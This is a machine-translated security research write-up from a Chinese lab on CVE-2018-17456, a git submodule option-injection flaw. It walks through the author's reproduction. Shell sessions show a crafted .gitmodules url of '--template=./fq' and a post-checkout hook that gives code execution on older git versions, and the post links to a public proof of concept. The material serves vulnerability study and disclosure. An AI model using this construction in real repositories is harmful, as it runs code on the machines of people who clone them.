Hacking Book | Free Online Hacking Learning


git submodule 漏洞(cve

Posted by agaran at 2020-03-26

Author: hcaael @ know Chuangyu 404 laboratory English version: https://paper.seebug.org/980/

On the national day, GIT broke a hole in rce and came back from the holiday to deal with the emergency. Because there were few public related materials, it was quite big. After two days, rce succeeded

Data collection

At the beginning of the research on this vulnerability, there was very little information on the Internet, and the most detailed one was GitHub blog.

I learned that the author of the flaw was @ joenchen. I went to his twitter and found a useful tweet:

In addition, we searched cve-2018-17456 on Twitter and got a tweet @ 65123; staaldraad verified successfully:


Unfortunately, some useful information (URL can't be found) has been found through Google. For example, the vulnerability can't be successfully reproduced on windows, because it's not a valid file name on windows.


Research and analysis

There is too little information on the Internet, only with this information can not complete the recurrence of the vulnerability, so we can only test and research by ourselves through source code and debugging.

The latest version of GIT v2.19.1 source code is generated by using woboq? Codebrowser, which is convenient for audit.

woboq_codebrowser git v2.19.1

Through the source code discovery, using git ﹣ trace = 1 before the GIT command can enable the command trace of GIT and track the run ﹣ command of GIT

git GIT_TRACE=1 run_command

First, create a source and its sub modules (tested with git v2.19.0):

$ git --version git version $ mkdir evilrepo $ cd evilrepo/ $ git init . Initialized empty Git repository in /home/ubuntu/evilrepo/.git/ $ git submodule add https://github.com/Hcamael/hello-world.git test1 Cloning into '/home/ubuntu/evilrepo/test1'... remote: Enumerating objects: 3, done. remote: Counting objects: 100% (3/3), done. remote: Total 3 (delta 0), reused 0 (delta 0), pack-reused 0 Unpacking objects: 100% (3/3), done. $ cat .gitmodules [submodule "test1"] path = test1 url = https://github.com/Hcamael/hello-world.git - $ cat .gitmodules [submodule "test1"] path = test1 url = -test $ rm -rf .git/modules/test1/ $ rm test1/.git 修改.git/config $ cat .git/config [core] repositoryformatversion = 0 filemode = true bare = false logallrefupdates = true 这里可以选择把submodule的数据删除,可以可以选择直接修改url $ cat .git/config [core] repositoryformatversion = 0 filemode = true bare = false logallrefupdates = true [submodule "test1"] active = true url = -test $ GIT_TRACE=1 git submodule update --init

From the output, we can see a command:

git.c:415 trace: built-in: git clone --no-checkout --separate-git-dir /home/ubuntu/evilrepo/.git/modules/test1 -test /home/ubuntu/evilrepo/test1 error: unknown switch `t'

The - test we set is recognized as the - t parameter by git clone, and the vulnerability point is found. Next, we need to consider how to use git clone parameter to execute commands?

-test git clone -t git clone

Further research shows that git can handle special characters, such as spaces:

$ cat .git/config [core] repositoryformatversion = 0 filemode = true bare = false logallrefupdates = true [submodule "test1"] active = true url = -te st $ GIT_TRACE=1 git submodule update --init ..... git.c:415 trace: built-in: git submodule--helper clone --path test1 --name test1 --url '-te st' ..... git.c:415 trace: built-in: git clone --no-checkout --separate-git-dir /home/ubuntu/evilrepo/.git/modules/test1 '-te st' /home/ubuntu/evilrepo/test1 ..... static const char ok_punct[] = "+,-./:[email protected]_^";

I don't think I can get around this space

Next, we will continue to study how to use parameters to execute commands

In the process of turning over twitter, I also turned to the previous article of GIT rce (cve-2018-11235), and found that hook is used to achieve the effect of rce, and the successful tweet was verified by combining with @ ﹣ staaldraad before

It's easy to think of a method, but before we talk about this method, let's talk about some basic knowledge of GIT submodule

git submodule

Simple explanation of GIT submodule mechanism

First look at the parameters of. Gitmodules:

.gitmodules [submodule "test1"] path = test2 url = test3

Test1 represents the submodule name, and the parameter used is -- name. The data in the sub project. Git directory will be stored in the. Git / modules / test1 / directory

test1 --name .git .git/modules/test1/ test2 ./test2/

Test3 is the remote address of the subproject. If it is a local path, it is to pull the local source


You can't push the. Git directory to push the local project to the remote. You can only push the. Gitmodules file and test2 directory

.git .gitmodules test2

How to identify the directory as a submodule remotely? When submodule is added locally, a. Git file will be added under test2 directory (I deleted it earlier, so you can add another one to view its contents)

test2 $ cat test2/.git gitdir: ../.git/modules/test1

It points to the. Git path of the project, and the file will not be pushed to the remote. However, when pushing, the file will let git recognize that the directory is a submodule directory, and other files in the directory will not be submitted to the remote, and a link will be created for the file remotely, pointing to the submodule address:


(my personal experience can be seen as the soft connection under Linux)

This soft connection is very important. If the remote test2 directory does not have this soft connection, the subproject pointing to this path in the. Gitmodules file will not take effect when the clone is given to the local (with the -- recurse submodules parameter added).


After understanding the working mechanism of submodule, let's talk about the idea of rce

We can set the URL as follows:

url = --template=./template

This is a template option. Please search for details

With this option set, when the subproject clone is local, the. Git directory of the subproject is placed in the. Git / modules / test1 directory, and then the specified files in the template directory are also copied to the. Git / modules / test1 directory. These kinds of files are hook

.git .git/modules/test1 .git/modules/test1

Therefore, only when we set a. / template / hook / post checkout, add executable permissions to post checkout, write the commands to be executed into it, and execute the script when the subproject executes the GIT chekcout command.

./template/hook/post-checkout post-checkout git chekcout $ mkdir -p fq/hook $ cat fq/hook/post-checkout #!/bin/sh date echo 'PWNED' $ chmod +x fq/hook/post-checkout $ ll total 24 drwxrwxr-x 5 ubuntu ubuntu 4096 Oct 12 16:48 ./ drwxr-xr-x 16 ubuntu ubuntu 4096 Oct 12 16:48 ../ drwxrwxr-x 3 ubuntu ubuntu 4096 Oct 12 16:47 fq/ drwxrwxr-x 8 ubuntu ubuntu 4096 Oct 12 15:59 .git/ -rw-rw-r-- 1 ubuntu ubuntu 57 Oct 12 16:48 .gitmodules drwxrwxr-x 2 ubuntu ubuntu 4096 Oct 12 16:46 test2/ $ cat .gitmodules [submodule "test1"] path = test2 url = --template=./fq $ GIT_TRACE=1 git submodule update --init

After setting POC, try again. The error is still reported. The main problems are as follows:

git.c:415 trace: built-in: git clone --no-checkout --separate-git-dir /home/ubuntu/evilrepo/.git/modules/test1 --template=./fq /home/ubuntu/evilrepo/test2 fatal: repository '/home/ubuntu/evilrepo/test2' does not exist fatal: clone of '--template=./fq' into submodule path '/home/ubuntu/evilrepo/test2' failed git clone --no-checkout --separate-git-dir /home/ubuntu/evilrepo/.git/modules/{name} {url} /home/ubuntu/evilrepo/{path}

After we set {URL} as the parameter, / home / Ubuntu / evilrepo / {path} becomes the source address, which is determined to be the local source directory, so we will look for the. Git files in the directory. But as we said before, because the directory is set as a soft connection remotely, there will be no other files from clone to the local, so the directory is impossible to exist. Git directory, so the command executes Row failure

{url} /home/ubuntu/evilrepo/{path} .git .git

Let's see what command is calling this command:

git.c:415 trace: built-in: git submodule--helper clone --path test2 --name test1 --url --template=./fq

Resolve the following command:

git submodule--helper clone --path {path} --name {name} --url {url}

Path, name and URL are all under our control, but there are filtering rules. The filtering rules are the same as the above URL white list filtering rules.

This command function - >

I've thought a lot about it. Path or name is set to -- url = XXXXX


All failed, because there is no other data after the -- path and -- name parameters, so -- url = XXXX will be parsed into name or path, and a space is missing here, but if there is a space, the data will be enclosed in single quotation marks. At present, there is no way to bypass

--path --name --url=xxxx

So there is no progress in the use of this order....

So the focus goes back to the last git clone command:

git clone git clone --no-checkout --separate-git-dir /home/ubuntu/evilrepo/.git/modules/{name} {url} /home/ubuntu/evilrepo/{path} strbuf_addf(&sb, "%s/modules/%s", get_git_dir(), name); sm_gitdir = absolute_pathdup(sb.buf);

/The home / Ubuntu / evilrepo /. Git / modules / {name} path is directly spliced with the above code, and there is no way to bypass it


Finally, / home / Ubuntu / evilrepo / {path}. If git can resolve this to a remote address, I'd like to think about a construction idea: / home / Ubuntu / evilrepo / [email protected]: hcamael / Hello world.git

/home/ubuntu/evilrepo/{path} /home/ubuntu/evilrepo/[email protected]:Hcamael/hello-world.git

But it failed. Git still parsed it into a local path. Look at the code of path:

if (!is_absolute_path(path)) { strbuf_addf(&sb, "%s/%s", get_git_work_tree(), path); path = strbuf_detach(&sb, NULL); } else path = xstrdup(path);

Because [email protected]: hcamael / hello-world.git is judged to be a non absolute path, the path of the current directory is added in front of it, and then it will fall into a dead end. No solution can be found

[email protected]:Hcamael/hello-world.git


After continuous research, it is found that path = [email protected]: hcamael / hello-world.git has been successfully implemented in the lower version of GIT.

[email protected]:Hcamael/hello-world.git

First look at the picture:

Ubuntu 16.04 is used, and the default Git is 2.7.4. After checking the source code of this version of GIT, we found that there are no lines of code in this version

if (!is_absolute_path(path)) { strbuf_addf(&sb, "%s/%s", get_git_work_tree(), path); path = strbuf_detach(&sb, NULL); } else path = xstrdup(path);

So the constructed command becomes:

$ git clone --no-checkout --separate-git-dir /home/ubuntu/evilrepo/.git/modules/test1 --template=./fq [email protected]:Hcamael/hello-world.git

After that, I compared the result of my successful execution with the screenshot in the @ staldraad tweet, and found that it was almost the same, so I guess the GIT environment of this person's reproduction also uses the lower version of GIT


After that, I went through git's submission history and found that in 2016, I added a judgment on whether path is an absolute path. According to my research results, cve-2018-17456 vulnerability can cause git option parameter injection, but only low version git can cause rce effect according to the CVE.


Some people on GitHub have published POC applicable to all git except the lower version: https://github.com/joenchen/poc-submodule

Combined with my PoC, GIT without patch can be RCE


This article was published by seebug paper. If you need to reprint it, please indicate the source. Address: https://paper.seebug.org/716/